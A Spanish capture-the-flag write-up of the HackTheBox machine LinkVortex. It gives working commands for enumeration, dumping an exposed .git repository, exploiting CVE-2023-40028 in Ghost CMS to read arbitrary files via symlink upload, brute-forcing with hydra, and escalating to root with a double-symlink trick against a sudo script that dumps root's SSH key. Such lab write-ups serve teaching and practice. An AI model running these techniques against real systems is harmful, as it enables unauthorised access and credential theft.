the_open_door
café
ESEN

LinkVortex

HackTheBoxFácilLinux10.10.11.47

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#ghost-cms#git#source-code-leak#cve-2023-40028#lfi#arbitrary-file-read#symlink#sudo#credential-reuse
TL;DR. LinkVortex es una máquina Linux fácil construida sobre Ghost CMS 5.58. Un subdominio de desarrollo expone un /.git, así que clonamos el repositorio y en un commit aparece una contraseña. Esa credencial abre el panel de Ghost cambiando el dominio del correo, y desde ahí la CVE-2023-40028 permite leer ficheros arbitrarios subiendo un enlace simbólico. Leemos config.production.json, sacamos las credenciales de bob y las reutilizamos por SSH. bob puede ejecutar por sudo un script que limpia enlaces simbólicos, y con un doble symlink más la variable CHECK_CONTENT leemos lo que queramos como root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.47
64 bytes from 10.10.11.47: icmp_seq=1 ttl=63 time=37.9 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

El escaneo se apoya en tres funciones definidas en el .zshrc. Ahorran teclear, pero también esconden el comando real, así que van acompañadas de su código: la idea es que el escaneo se pueda reproducir sin tenerlas instaladas.

La primera, jmap, pide una IP y lanza un escaneo TCP de los 65535 puertos:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es decir, el comando equivalente sin la función es:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.47 -oG scan

Salida de jmap: nmap descubre los puertos 22 y 80 abiertos en 10.10.11.47, ambos con syn-ack ttl 63

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 15:52 CET
Initiating SYN Stealth Scan at 15:52
Scanning 10.10.11.47 [65535 ports]
Discovered open port 22/tcp on 10.10.11.47
Discovered open port 80/tcp on 10.10.11.47
Completed SYN Stealth Scan at 15:52, 15.08s elapsed (65535 total ports)
Nmap scan report for 10.10.11.47
Host is up, received user-set (0.10s latency).
Not shown: 61288 closed tcp ports (reset), 4245 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Solo dos puertos, y la columna REASON confirma por segunda vía el ttl 63 que ya vimos en el ping. Los 4245 puertos filtered (no-response) frente a 61288 closed (reset) son ruido de la VPN: un puerto realmente cerrado contesta con un RST, así que lo que no responde es latencia, no un cortafuegos que filtre por política.

La segunda función, extractPorts, no escanea nada: parsea el fichero scan que dejó la anterior en formato grepable y deja los puertos listos en el portapapeles.

extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}
extractPorts scan

Salida de extractPorts sobre el fichero scan: IP Address 10.10.11.47 y Open ports 22,80, copiados al portapapeles

Extracting information...
IP Address: 10.10.11.47
Open ports: 22,80

Ports copied to clipboard

IP Address: 10.10.11.47
Open ports: 22,80

Y la tercera, jmap2, lanza el escaneo de versiones y scripts por defecto solo contra esos dos puertos:

jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <puertos>"
                return 1
        fi

        local ip="$1"
        local puertos="$2"
        nmap -p"$puertos" -sCV "$ip"

}
nmap -p22,80 -sCV 10.10.11.47

nmap -sCV muestra OpenSSH 8.9p1 y Apache, con la redirección a http://linkvortex.htb resaltada

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/

Virtual hosting

El script http-title no llega a leer el título porque el servidor redirige a http://linkvortex.htb/. Apache sirve por virtual hosting: elige el sitio según la cabecera Host, y con la IP pelada no devuelve nada útil. Para que el navegador resuelva ese nombre lo añadimos al fichero de hosts local.

sudo nano /etc/hosts

/etc/hosts editado en nano con la línea 10.10.11.47 linkvortex.htb añadida

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.47     linkvortex.htb

El sitio web - TCP 80

whatweb describe la pila de un vistazo, y ya deja caer lo importante en el MetaGenerator.

whatweb http://linkvortex.htb

whatweb identifica el MetaGenerator Ghost 5.58, Apache, jQuery 3.5.1, Express y el título BitByBit Hardware

http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache],
IP[10.10.11.47], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website],
PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware],
X-Powered-By[Express], X-UA-Compatible[IE=edge]

Tres datos que valen: el sitio se llama BitByBit Hardware, el X-Powered-By: Express indica que detrás hay Node.js (no PHP), y el MetaGenerator canta la versión exacta del CMS: Ghost 5.58. La extensión wappalyzer en el navegador lo confirma con su ficha.

wappalyzer identifica Ghost 5.58 en linkvortex.htb

Una versión concreta y publicada de un CMS es siempre el primer sitio donde mirar: es el vector más directo que existe, buscar exploits para esa versión.

Enumeración de rutas

Un fuzzing de directorios con dirsearch sobre el sitio principal. La cosecha es corta pero incluye el fichero que va a marcar el camino.

dirsearch -u http://linkvortex.htb --exclude-status=404

dirsearch encuentra /assets, /favicon.ico, /LICENSE, /robots.txt y /sitemap.xml en linkvortex.htb

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://linkvortex.htb/

[16:19:50] 301 -  179B  - /assets  ->  /assets/
[16:19:51] 301 -    0B  - /axis/happyaxis.jsp  ->  /axis/happyaxis.jsp/
<SNIP: una decena de 301 de 0 bytes hacia rutas .jsp y .swf que no existen>
[16:20:05] 200 -   15KB - /favicon.ico
[16:20:12] 200 -    1KB - /LICENSE
[16:20:29] 200 -  103B  - /robots.txt
[16:20:30] 403 -  199B  - /server-status
[16:20:32] 200 -  250B  - /sitemap.xml
Task Completed

Los 301 de 0 bytes hacia /axis/happyaxis.jsp o /engine/classes/swfupload/ son ruido: Ghost redirige cualquier ruta desconocida en lugar de devolver 404, así que el diccionario "acierta" siempre. Es un patrón que conviene reconocer para no perder tiempo persiguiéndolo.

Un segundo barrido con gobuster, esta vez descartando explícitamente los códigos de ese ruido, deja el resultado en su mínima expresión y confirma que ahí no hay nada más:

gobuster dir -u http://linkvortex.htb -w directory-list-2.3-medium.txt -b 404,403,301

gobuster con -b 404,403,301 recorre las 220560 entradas y solo devuelve /LICENSE

[+] Negative Status codes:   404,403,301
[+] Wordlist:                directory-list-2.3-medium.txt

Starting gobuster in directory enumeration mode

/LICENSE              (Status: 200) [Size: 1065]
Progress: 220560 / 220561 (100.00%)
Finished

robots.txt: cuatro rutas que el sitio prefiere esconder

Ese robots.txt de 103 bytes es pequeño y muy informativo. No es un control de seguridad: es una lista de sitios que el administrador no quiere que indexen, y por tanto un mapa de lo que le importa.

robots.txt lista el sitemap y cuatro Disallow: /ghost/, /p/, /email/ y /r/

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

/p/, /email/ y /r/: tres callejones comprobados

Tres de esas cuatro rutas no dan nada, y merece la pena enseñarlo porque descartar también es trabajo. Las tres devuelven el mismo 404 del tema de Ghost, y una enumeración dentro de cada una solo repite el ruido de redirecciones que ya conocemos.

linkvortex.htb/p/ devuelve el 404 del tema BitByBit Hardware

dirsearch -u http://linkvortex.htb/p --exclude-status=404,403

dirsearch dentro de /p solo devuelve redirecciones 301 de 0 bytes

[16:36:45] Starting: p/
[16:36:48] 301 -    0B  - /p/%2e%2e//google.com  ->  /google.com/
[16:37:15] 301 -    0B  - /p/axis/happyaxis.jsp  ->  /p/axis/happyaxis.jsp/
<SNIP: el resto son las mismas rutas .jsp y .swf, todas 301 de 0 bytes>
Task Completed

linkvortex.htb/email/ devuelve el mismo 404

dirsearch -u http://linkvortex.htb/email --exclude-status=404,403

dirsearch dentro de /email devuelve exactamente el mismo listado de 301

[16:40:35] Starting: email/
[16:40:38] 301 -    0B  - /email/%2e%2e//google.com  ->  /google.com/
[16:41:02] 301 -    0B  - /email/axis/happyaxis.jsp  ->  /email/axis/happyaxis.jsp/
<SNIP: idéntico al anterior>
Task Completed

linkvortex.htb/r/ cierra la serie con el tercer 404

dirsearch -u http://linkvortex.htb/r --exclude-status=404,403

dirsearch dentro de /r repite el mismo patrón de 301 vacíos

[16:43:28] Starting: r/
[16:43:30] 301 -    0B  - /r/%2e%2e//google.com  ->  /google.com/
[16:43:57] 301 -    0B  - /r/axis/happyaxis.jsp  ->  /r/axis/happyaxis.jsp/
<SNIP: idéntico a los dos anteriores>
Task Completed

Tres enumeraciones, tres resultados idénticos y ninguno útil. /p/, /email/ y /r/ son rutas internas de Ghost (previsualización de borradores, enlaces de boletín y redirecciones de clics) que solo responden con un identificador válido detrás. Descartadas.

/ghost: el panel de administración

La cuarta sí. /ghost es el panel de Ghost, y ahí hay un formulario de inicio de sesión pidiendo correo y contraseña.

el panel de login de Ghost en /ghost, titulado Sign in to BitByBit Hardware

Fuerza bruta con hydra: un falso positivo de manual

Ante un panel, el reflejo es probar fuerza bruta contra el endpoint de sesión de la API de administración.

hydra -l admin@linkvortex.htb -P <rockyou.txt> "http-post-form://linkvortex.htb/ghost/api/v3/admin/session:username=^USER^&password=^PASS^:Invalid username or password" -t 64 -I

hydra devuelve decenas de contraseñas distintas como válidas para el mismo usuario: admin, 12345, password, princess...

[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344412 login tries (l:1/p:14344412), ~224132 tries per task
[DATA] attacking http-post-form://linkvortex.htb:80/ghost/api/v3/admin/session:...

[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: admin
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: 12345
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: 123456
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: 123456789
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: 1234567
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: password
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: abc123
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: princess
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: daniel
[80][http-post-form] host: linkvortex.htb   login: admin@linkvortex.htb   password: babygirl

Esa salida no es una victoria, es la señal de que algo va mal. Una contraseña buena es una, no diez seguidas, y desde luego no las diez primeras del rockyou.txt. Lo que ocurre es que el panel limita los intentos: pasado el umbral empieza a responder 429 Too Many Requests, y como esa respuesta ya no contiene la cadena Invalid username or password que hydra busca para saber que ha fallado, la herramienta la interpreta como acierto. hydra no comprueba el código de estado, solo la cadena que le hemos dicho.

Recargar el panel a mano lo confirma sin ambigüedad:

el panel de Ghost muestra Too many attempts try again in an hour bajo el botón de acceso

Sign in to BitByBit Hardware.
Email address:  admin@linkvortex.htb
✕ Retry
Too many attempts try again in an hour

Vía descartada, y con una lección práctica: al configurar hydra contra un panel moderno hay que verificar a mano el primer positivo antes de darlo por bueno.

CVE-2024-43409: la pista que no llevó a ninguna parte

Con la versión en la mano toca buscar vulnerabilidades conocidas. La base de datos de Snyk devuelve una para esta rama de Ghost.

la ficha de Snyk describe un control de acceso inadecuado en Ghost, CVE-2024-43409, severidad 6.9

Control de acceso inadecuado
Afecta al paquete ghost, versiones >=4.46.0 <5.89.5
CVE-2024-43409 · CWE-284 · Gravedad 6.9 (MEDIO)

¿Cómo solucionarlo? Actualice ghost a la versión 5.89.5 o superior.

Las versiones afectadas de este paquete son vulnerables a un control de acceso inadecuado a través
de algunos puntos finales utilizados para acciones de miembros. Un atacante puede realizar acciones
exclusivas de miembros y leer información de miembros aprovechando el mecanismo de autenticación
inadecuado.

Encaja con la versión, pero no se localizó ningún PoC utilizable, y además el alcance es limitado: lee información de miembros, no ficheros del sistema. Se anota y se sigue por otro lado. En este punto queda un frente sin explorar: los subdominios.

Fuzzing de vhosts: aparece dev.linkvortex.htb

Si el servidor decide qué sitio devolver según la cabecera Host, se puede preguntar por nombres inventados a ver cuál existe (fuzzing de virtual hosts). gobuster en modo vhost con el diccionario de rutas web, filtrando los códigos de la respuesta por defecto:

gobuster vhost -u http://linkvortex.htb -w directory-list-2.3-medium.txt -t 200 --append-domain | grep -vE "(301|400)"

gobuster vhost encuentra dev.linkvortex.htb con estado 200 y tamaño 2538, en sus tres variantes de mayúsculas

Starting gobuster in VHOST enumeration mode

Found: dev.linkvortex.htb Status: 200 [Size: 2538]
Found: Dev.linkvortex.htb Status: 200 [Size: 2538]
Found: DEV.linkvortex.htb Status: 200 [Size: 2538]
Progress: 220560 / 220561 (100.00%)
Finished

El mismo resultado con wfuzz, que es otra herramienta habitual para lo mismo y sirve de comprobación cruzada. Aquí el filtro se hace por código (--hc=301,400):

wfuzz -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -w directory-list-2.3-medium.txt --hc=301,400 -t 200

wfuzz descubre el subdominio dev.linkvortex.htb entre 220560 peticiones

Target: http://linkvortex.htb/
Total requests: 220560

ID          Response   Lines    Word     Chars    Payload
000000835:  200        115 L    255 W    2538 Ch  "dev"
000057774:  200        115 L    255 W    2538 Ch  "Dev"
000133933:  200        115 L    255 W    2538 Ch  "DEV"

Las tres variantes (dev, Dev, DEV) devuelven exactamente 2538 caracteres porque los nombres de dominio son insensibles a mayúsculas: son la misma respuesta contada tres veces, no tres vhosts. El hallazgo es uno: dev.linkvortex.htb. Al /etc/hosts, en la misma línea:

sudo nano /etc/hosts

/etc/hosts con linkvortex.htb y dev.linkvortex.htb apuntando a 10.10.11.47

10.10.11.47     linkvortex.htb dev.linkvortex.htb

Acceso al panel de Ghost

El subdominio de desarrollo

Lo que sirve dev.linkvortex.htb es una página de "próximamente", sin funcionalidad ninguna. Su código fuente tampoco tiene nada. Pero eso no lo hace irrelevante: un entorno de desarrollo suele arrastrar configuraciones y ficheros que producción ya no tiene, precisamente porque nadie lo revisa con el mismo cuidado.

dev.linkvortex.htb muestra una página de LAUNCHING SOON, sitio en construcción

LAUNCHING SOON
Our website is under construction. We'll be here soon with our new and exciting site.

/.git expuesto

La enumeración de rutas sobre el subdominio da lo que la página no daba: un directorio /.git accesible por HTTP.

dirsearch -u http://dev.linkvortex.htb/ --exclude-status=404,403,302

dirsearch lista el árbol completo de /.git en dev.linkvortex.htb: config, HEAD, logs, objects, packed-refs e index

Target: http://dev.linkvortex.htb/

[18:25:52] Starting:
[18:25:56] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/
[18:25:56] 200 -  557B  - /.git/
[18:25:56] 200 -  201B  - /.git/config
[18:25:56] 200 -   73B  - /.git/description
[18:25:56] 200 -   41B  - /.git/HEAD
[18:25:56] 200 -  620B  - /.git/hooks/
[18:25:56] 200 -  402B  - /.git/info/
[18:25:56] 200 -  240B  - /.git/info/exclude
[18:25:56] 200 -  401B  - /.git/logs/
[18:25:56] 200 -  175B  - /.git/logs/HEAD
[18:25:56] 200 -  418B  - /.git/objects/
[18:25:56] 200 -  147B  - /.git/packed-refs
[18:25:56] 200 -  393B  - /.git/refs/
[18:25:56] 200 -  691KB - /.git/index
Task Completed

No es solo que el directorio exista: responden 200 los ficheros internos (HEAD, config, packed-refs) y los listados de objects/ y logs/. Con eso se puede reconstruir el repositorio entero. Un repositorio Git servido por la web es una fuga de código fuente completa: no solo los ficheros actuales, sino todo el historial, con lo que el desarrollador escribió, borró y creyó olvidado.

Volcar el repositorio

wget en modo recursivo se descarga el árbol entero siguiendo el listado de directorios que Apache genera.

wget -r http://dev.linkvortex.htb/.git/

wget descarga recursivamente el contenido de /.git desde dev.linkvortex.htb

--2024-12-29 19:04:44--  http://dev.linkvortex.htb/.git/
Resolving dev.linkvortex.htb (dev.linkvortex.htb) ... 10.10.11.47
Connecting to dev.linkvortex.htb (dev.linkvortex.htb)|10.10.11.47|:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 2796 (2.7K) [text/html]
Saving to: 'dev.linkvortex.htb/.git/index.html'
2024-12-29 19:04:44 (253 MB/s) - 'dev.linkvortex.htb/.git/index.html' saved [2796/2796]

Loading robots.txt; please ignore errors.
--2024-12-29 19:04:44--  http://dev.linkvortex.htb/robots.txt
HTTP request sent, awaiting response ... 404 Not Found
2024-12-29 19:04:44 ERROR 404: Not Found.

El 404 del robots.txt no es un problema: wget lo pide siempre antes de empezar a rastrear, y él mismo avisa de que se puede ignorar.

Contraseña en un commit

Con el repositorio en local, git diff --staged enseña los cambios preparados y todavía no confirmados. Ahí está el premio.

cd dev.linkvortex.htb/.git
git diff --staged

git diff --staged muestra el Dockerfile.ghost con FROM ghost:5.58.0 y el cambio de contraseña en authentication.test.js

diff --git a/Dockerfile.ghost b/Dockerfile.ghost
+FROM ghost:5.58.0
+
+# Copy the config
+COPY config.production.json /var/lib/ghost/config.production.json
+
+# Prevent installing packages
+RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt ...
+
+# Wait for the db to be ready first
+COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
+COPY entry.sh /entry.sh
+ENTRYPOINT ["/entry.sh"]
+CMD ["node", "current/index.js"]

diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/...
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';

Dos hallazgos en el mismo diff. El Dockerfile.ghost confirma la versión exacta (FROM ghost:5.58.0) y revela que el CMS corre dentro de un contenedor, con la configuración copiada a /var/lib/ghost/config.production.json. Y el fichero de pruebas de autenticación cambia una contraseña de ejemplo por otra: OctopiFociPilfer45. Es el clásico "meto la contraseña real en un test para que pase", y el clásico que acaba publicado.

Iniciar sesión cambiando el dominio del correo

El correo que acompaña a esa contraseña en el test es test@example.com. Probado tal cual en el panel, Ghost es explícito:

el panel rechaza test@example.com con el mensaje There is no user with that email address

Email address:  test@example.com
✕ Retry
There is no user with that email address.

Ese mensaje es una fuga en sí mismo, porque distingue entre "el usuario no existe" y "la contraseña no vale", y eso permite enumerar cuentas. Aquí nos sirve como oráculo: significa que el correo está mal, no la contraseña. Y el correo de administración de un Ghost suele seguir el dominio del propio sitio, así que probamos admin@linkvortex.htb con la misma contraseña.

admin@linkvortex.htb : OctopiFociPilfer45

el panel acepta las credenciales admin@linkvortex.htb y OctopiFociPilfer45

Dentro. El panel de administración carga con los posts del blog y la barra lateral completa.

el Dashboard de Ghost con los posts recientes The Power Supply, The CMOS, The Video Graphics Array y The Motherboard

Dashboard · BitByBit Hardware
Recent posts:  The Power Supply · The CMOS · The Video Graphics Array
               The Random Access Memory · The Motherboard
Members: 0

Lectura de ficheros: CVE-2023-40028

Con sesión válida cambia el abanico de vulnerabilidades disponibles: ya no buscamos un bypass de autenticación, buscamos qué puede hacer un usuario autenticado que no debería. Y Ghost 5.58 arrastra la CVE-2023-40028.

Existe una prueba de concepto pública, y su propio README resume la vulnerabilidad en una frase.

el README del repositorio 0xyassine/CVE-2023-40028 describe la subida de symlinks por usuarios autenticados

0xyassine / CVE-2023-40028   (Public)
  CVE-2023-40028.sh   first commit
  README.md           Update README.md

CVE-2023-40028 Proof of Concept
This repository contains a proof of concept (POC) for CVE-2023-40028, demonstrating a vulnerability
in the Ghost content management system where authenticated users can upload symlinks, leading to
arbitrary file read vulnerabilities.

La idea es sencilla y elegante: Ghost permite importar contenido en un .zip, y un .zip puede contener enlaces simbólicos. Si dentro del comprimido metemos un enlace que apunta a /etc/passwd, Ghost lo descomprime tal cual y, al pedir ese "fichero" de vuelta, sirve el contenido del destino. Es una lectura de ficheros arbitraria (LFI) con las credenciales que ya tenemos.

El exploit

git clone https://github.com/0xyassine/CVE-2023-40028.git

git clone descarga los 7 objetos del repositorio del exploit

Cloning into 'CVE-2023-40028' ...
remote: Enumerating objects: 7, done.
remote: Total 7 (delta 1), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.
Resolving deltas: 100% (1/1), done.

Antes de ejecutarlo, leerlo. Es un script de shell con una cabecera que documenta el alcance y, sobre todo, una variable que hay que ajustar: la URL del Ghost objetivo viene con el valor del laboratorio del autor.

nano CVE-2023-40028.sh

el código del exploit muestra la cabecera con la CVE y la variable GHOST_URL editada a http://linkvortex.htb

#!/bin/bash
# Exploit Title: Ghost Arbitrary File Read
# Date: 10-03-2024
# Exploit Author: Mohammad Yassine
# Vendor Homepage: https://ghost.org/
# Version: BEFORE [ 5.59.1 ]
# Tested on: [ debian 11 bullseye ghost docker image ]
# CVE : CVE-2023-40028

#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'

PAYLOAD_PATH="`dirname $0`/exploit"
PAYLOAD_ZIP_NAME=exploit.zip

La cabecera confirma dos cosas que ya sabíamos por otro camino: afecta a versiones anteriores a 5.59.1 (la nuestra es 5.58) y el autor lo probó contra una imagen Docker de Ghost, igual que el Dockerfile.ghost que vimos en el repositorio.

Leer ficheros

El script abre una consola interactiva que pide rutas. El primer intento con cinco ../ se queda corto y Ghost devuelve su página de error; con seis sale /etc/passwd.

./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

la consola del exploit falla con cinco ../ y devuelve /etc/passwd con seis

WELCOME TO THE CVE-2023-40028 SHELL
file> ../../../../../etc/passwd
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><title>Error</title></head>
<body><pre>Not Found</pre></body>
</html>

file> ../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
node:x:1000:1000::/home/node:/bin/bash
file>

Ese /etc/passwd tiene una ausencia muy elocuente: no aparece bob por ninguna parte, y sí un usuario node con UID 1000. No estamos leyendo el sistema de ficheros de la máquina, estamos leyendo el interior del contenedor donde corre Ghost, coherente con el Dockerfile.ghost del repositorio. Eso acota lo que podemos alcanzar, y también nos dice dónde buscar: la configuración que el Dockerfile copiaba.

Ajustando la profundidad (dentro del contenedor la raíz está mucho más cerca) llegamos al fichero de configuración de Ghost, que guarda las credenciales del servidor de correo.

file> ../../../config.production.json

config.production.json revela el bloque auth con el usuario bob@linkvortex.htb y la contraseña fibber-talented-worth

{
  "url": "http://localhost:2368",
  "server": { "port": 2368, "host": "::" },
  "spam": {
    "user_login": { "minWait": 1, "maxWait": 604800000, "freeRetries": 5000 }
  },
  "mail": {
    "transport": "SMTP",
    "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
      }
    }
  }
}

De paso se ve el bloque spam.user_login, que es justamente el limitador de intentos que hizo descarrilar a hydra. Pero lo que buscábamos está en mail.options.auth: bob@linkvortex.htb : fibber-talented-worth.

Shell como bob

Una contraseña guardada para el SMTP no tiene por qué servir para nada más, pero la reutilización de credenciales es tan habitual que siempre se prueba. Y aquí abre el SSH:

ssh bob@linkvortex.htb

ssh como bob entra en Ubuntu 22.04.5 LTS y cat user.txt imprime la flag

bob@linkvortex.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Dec 29 22:34:25 2024 from 10.10.15.39
bob@linkvortex:~$ cat user.txt
06a7c44540a12408586f6687938b6071

Estamos dentro como bob, esta vez en la máquina anfitriona y no en el contenedor.

Shell como root

sudo -l: limpiar enlaces simbólicos

Lo primero al aterrizar en una shell es situarse: quién somos, dónde estamos y qué podemos hacer de más.

hostname -I
whoami
uname -r
id
sudo -l

la enumeración inicial muestra las interfaces 172.17.0.1 y 172.20.0.1, el usuario bob sin grupos extra, y un sudo -l con clean_symlink.sh

bob@linkvortex:~$ hostname -I
10.10.11.47 172.17.0.1 172.20.0.1
bob@linkvortex:~$ whoami
bob
bob@linkvortex:~$ uname -r
6.5.0-27-generic
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Las direcciones 172.17.0.1 y 172.20.0.1 son las pasarelas de dos redes de Docker: confirman desde dentro lo que dedujimos por el /etc/passwd del exploit. bob no pertenece a ningún grupo interesante.

Y ahí está el vector. Dos detalles del sudo -l importan tanto como el propio script. El primero, env_keep+=CHECK_CONTENT: por defecto sudo limpia el entorno (env_reset), pero esa directiva hace una excepción y deja pasar esa variable concreta. Que alguien se moleste en conservar una variable es señal de que el script la usa. El segundo, el comodín *.png: podemos pasar la ruta que queramos mientras termine en .png.

El script y su grieta

cat /opt/ghost/clean_symlink.sh

el contenido de clean_symlink.sh: comprueba la extensión, usa readlink sobre el enlace y hace cat si CHECK_CONTENT es true

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Leído entero, el script se entiende de una sentada. Recibe un fichero, exige que acabe en .png, comprueba que sea un enlace simbólico y mira su destino con readlink. Si ese destino contiene las cadenas etc o root, considera que alguien intenta leer ficheros críticos y borra el enlace. Si no, lo mueve a /var/quarantined y, solo si CHECK_CONTENT vale true, imprime su contenido con cat. Como la variable se inicializa a false únicamente cuando llega vacía, y sudo la conserva por env_keep, la decide quien invoca el script. Es decir, nosotros.

Queda el filtro. Y aquí está la grieta: readlink no resuelve la cadena completa, devuelve solo el primer salto. Con dos enlaces encadenados el control mira un destino inocente mientras el cat final, que sí resuelve toda la cadena porque lo hace el propio sistema de ficheros, acaba abriendo el fichero prohibido.

El montaje del doble enlace simbólico necesita además que el eslabón intermedio no lleve .png, porque el script exige esa extensión solo en el argumento:

  1. pwn.txt → /root/root.txt (el enlace que de verdad interesa).
  2. pwn.png → pwn.txt (el que le pasamos: acaba en .png y su destino, /home/bob/pwn.txt, no contiene ni etc ni root).
ln -s /root/root.txt /home/bob/pwn.txt
ln -s /home/bob/pwn.txt /home/bob/pwn.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png

el doble symlink pasa el filtro y el script imprime el contenido de root.txt tras moverlo a cuarentena

Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
208088e89eaac9d6badfe8e42e82b61f

El propio mensaje del script (Link found ... moving it to quarantine en lugar de Trying to read critical files) certifica que el filtro se ha tragado el engaño.

De leer la flag a ser root

Leer root.txt cierra la máquina en HackTheBox, pero no da una shell. La misma técnica apuntando a la clave privada SSH de root sí. El tail -n +3 recorta las dos líneas que el script imprime antes del contenido (Link found ... y Content:), que si no corromperían la clave.

ln -s /root/.ssh/id_rsa /home/bob/pwn.txt
ln -s /home/bob/pwn.txt /home/bob/pwn.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png | tail -n +3 > id_rsa
cat id_rsa

el doble symlink contra /root/.ssh/id_rsa vuelca la clave privada completa a un fichero id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAyaWiVDPHnrbHxTYPZjM1YdRSFEQpisIvJmnzPXBM+nEFY0kSGdzZ
<SNIP>
-----END OPENSSH PRIVATE KEY-----

Con la clave en la mano, conectamos por SSH contra la propia máquina. Ni siquiera hace falta sacarla fuera: root@localhost desde la sesión de bob funciona igual.

ssh -i id_rsa root@localhost

ssh con la clave privada abre una shell como root y cat root.txt muestra la flag

bob@linkvortex:~$ ssh -i id_rsa root@localhost
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
